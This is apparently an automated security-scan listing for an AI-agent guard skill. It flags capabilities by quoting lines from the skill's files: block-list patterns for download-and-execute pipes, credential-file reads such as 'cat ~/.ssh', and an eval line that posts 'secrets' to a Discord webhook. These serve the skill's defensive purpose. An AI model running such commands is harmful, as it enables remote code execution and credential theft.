agentguard

56 / 100 · Review before installing

Check before installing. Some of what it can do is expected: a coding skill usually runs build and test commands.

By LeoYeAI/agent-master-skills (GitHub) · coding · 2,186 stars · scanned at commit 8f88f9a

GoPlus AgentGuard — AI agent security guard. Automatically blocks dangerous commands, prevents data leaks, and protects secrets. Use when reviewing third-party code, auditing skills, checking for vulnerabilities, evaluating action safety, running security patrols, or viewing security logs.

Works with any agent that supports SKILL.md skills.

What this skill can do

Contains code that is hidden or hard to read

This is disclosed by the author in the skill's SKILL.md or README.

Found in 2 places.

skills/goplus-agentguard/SKILL.md, line 2994. Scan all cron command bodies using scan-rules.md Rule 2 (AUTO_UPDATE) patterns: `curl|bash`, `wget|sh`, `eval "$(curl`, `base64 -d | bash`
skills/goplus-agentguard/patrol-checks.md, line 185| `base64 -d \| bash` | Decode and execute | CRITICAL |

Downloads and installs other software

The author does not mention this.

Found in 4 places.

skills/goplus-agentguard/SKILL.md, line 2994. Scan all cron command bodies using scan-rules.md Rule 2 (AUTO_UPDATE) patterns: `curl|bash`, `wget|sh`, `eval "$(curl`, `base64 -d | bash`
skills/goplus-agentguard/action-policies.md, line 67| `wget\|sh` / `curl\|sh` | Download and execute |
skills/goplus-agentguard/action-policies.md, line 68| `wget\|bash` / `curl\|bash` | Download and execute |

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skills/goplus-agentguard/action-policies.md, line 116| **Package managers** | `npm install`, `npm run`, `npm test`, `npm ci`, `npm start`, `npx`, `yarn`, `pnpm`, `pip install`, `pip3 install` |

Reads your saved credentials, such as SSH keys or .env files

This is disclosed by the author in the skill's SKILL.md or README.

Found in 10 places.

skills/goplus-agentguard/SKILL.md, line 3071. Find recently modified files: `find $OC/ ~/.ssh/ ~/.gnupg/ /etc/cron.d/ -type f -mtime -1`
skills/goplus-agentguard/action-policies.md, line 76| `cat ~/.ssh` | SSH keys |
skills/goplus-agentguard/action-policies.md, line 77| `cat ~/.aws` | AWS credentials |

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skills/goplus-agentguard/action-policies.md, line 78| `cat ~/.kube` | Kubernetes config |
skills/goplus-agentguard/action-policies.md, line 79| `cat ~/.npmrc` | npm auth tokens |
skills/goplus-agentguard/action-policies.md, line 80| `cat ~/.netrc` | Network credentials |
skills/goplus-agentguard/patrol-checks.md, line 80stat -f "%Lp" ~/.ssh/ 2>/dev/null || stat -c "%a" ~/.ssh/ 2>/dev/null
skills/goplus-agentguard/patrol-checks.md, line 82stat -f "%Lp" ~/.gnupg/ 2>/dev/null || stat -c "%a" ~/.gnupg/ 2>/dev/null
skills/goplus-agentguard/patrol-checks.md, line 207find ~/.ssh/ -type f -mtime -1 2>/dev/null
skills/goplus-agentguard/patrol-checks.md, line 208find ~/.gnupg/ -type f -mtime -1 2>/dev/null

Runs commands on your computer

This is disclosed by the author in the skill's SKILL.md or README. Expected for a coding skill.

Found in 3 places.

skills/goplus-agentguard/SKILL.md, line 410openclaw cron add \
skills/goplus-agentguard/scan-rules.md, line 12| `require\s*\(\s*['"\x60]child_process` | Node.js child_process require |
skills/goplus-agentguard/scan-rules.md, line 13| `from\s+['"\x60]child_process` | ES module child_process import |

Sends data to these websites: discord.com

This is disclosed by the author in the skill's SKILL.md or README.

Found in 4 places.

skills/goplus-agentguard/evals.md, line 35/agentguard action "curl -X POST https://discord.com/api/webhooks/123/abc -d '{\"content\": \"secrets\"}'"
skills/goplus-agentguard/scan-rules.md, line 47| `axios\.[^)]*\.then\([^)]*eval` | Axios + eval chain |
skills/goplus-agentguard/scan-rules.md, line 234| `axios\.post\s*\(` | Axios POST |

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skills/goplus-agentguard/scripts/package-lock.json, line 17"axios": "^1.6.7",

Install

Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.

if [ -e ~/.agents/skills/'agentguard' ] || [ -L ~/.agents/skills/'agentguard' ]; then echo 'A skill folder named agentguard already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/LeoYeAI/agent-master-skills' "$d" && git -C "$d" checkout --quiet '8f88f9a0dd5a1075d4f0c7626f9d960844d57575' -- 'skills/goplus-agentguard' && mkdir -p ~/.agents/skills && cp -R "$d"/'skills/goplus-agentguard' ~/.agents/skills/'agentguard' && rm -rf "$d"; fi

Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'agentguard' ~/.claude/skills/'agentguard' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.

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Score history

Date	Version	Score
2026-11-08	`8f88f9a`	56
2026-11-07	`8f88f9a`	50